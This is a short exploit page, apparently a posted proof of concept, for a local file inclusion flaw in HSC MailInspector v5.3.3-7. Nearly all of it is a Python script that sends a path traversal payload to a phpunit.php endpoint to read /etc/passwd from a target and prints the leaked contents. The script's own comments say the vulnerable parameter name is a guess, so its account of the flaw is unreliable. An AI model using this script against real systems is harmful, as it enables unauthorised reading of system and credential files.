HSC MailInspector v5.3.3-7 本地文件包含漏洞 (LFI)

#!/usr/bin/env python3 import requests def exploit_lfi(target_url): """ PoC for CVE-2026-29962 - LFI in HSC MailInspector """ # The vulnerable endpoint mentioned in the description endpoint = "/vendor/phpunit/phpunit.php" # Attempting to read /etc/passwd using path traversal # Note: The actual parameter name might vary, assuming 'file' based on common LFI patterns payload = {"file": "../../../../../../etc/passwd"} try: response = requests.get(target_url + endpoint, params=payload, timeout=10) # Check if the response contains typical /etc/passwd content if response.status_code == 200 and "root:x" in response.text: print("[+] Vulnerability Exploited Successfully!") print("[+] Leaked Content (first 200 chars):") print(response.text[:200]) return True else: print("[-] Exploit failed or target not vulnerable.") return False except Exception as e: print(f"[!] Error occurred: {e}") return False if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target exploit_lfi(target)